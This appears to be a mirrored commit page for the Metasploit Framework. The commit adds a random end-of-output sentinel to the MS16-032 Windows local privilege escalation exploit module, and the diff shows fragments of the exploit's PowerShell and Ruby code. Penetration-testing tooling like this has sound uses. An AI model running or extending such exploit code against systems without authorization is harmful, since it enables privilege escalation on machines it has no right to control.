1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-07-18 18:31:41 +02:00

Add a random sentinel to close channel when terminates (#1)

* Add a random sentinel to close channel when terminates

* Replace spaces with tabs to be consistent

* Remove unnecessary escaped quotes and use include? instead of regex
This commit is contained in:
cdelafuente-r7 2020-01-25 23:30:49 +01:00 committed by leo-lb
parent 756879d3d6
commit 3491da7da0
2 changed files with 4 additions and 0 deletions

View File

@ -354,6 +354,7 @@
$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
$StartTokenRace.Stop()
$SafeGuard.Stop()
echo "$end"
Return
}

View File

@ -126,6 +126,8 @@ class MetasploitModule < Msf::Exploit::Local
ms16_032.gsub!("$cmd","\"#{cmdstr}\"")
#lpcommandLine - capped at 1024b
ms16_032.gsub!("$args1","\"#{psh_cmd}\"")
end_flag = Rex::Text.rand_text_alphanumeric(32)
ms16_032.gsub!("$end", end_flag)
print_status('Compressing script contents...')
ms16_032_c = compress_script(ms16_032)
@ -160,6 +162,7 @@ class MetasploitModule < Msf::Exploit::Local
while(d = r.channel.read)
print(d)
break if d.include? end_flag
end
r.channel.close
r.close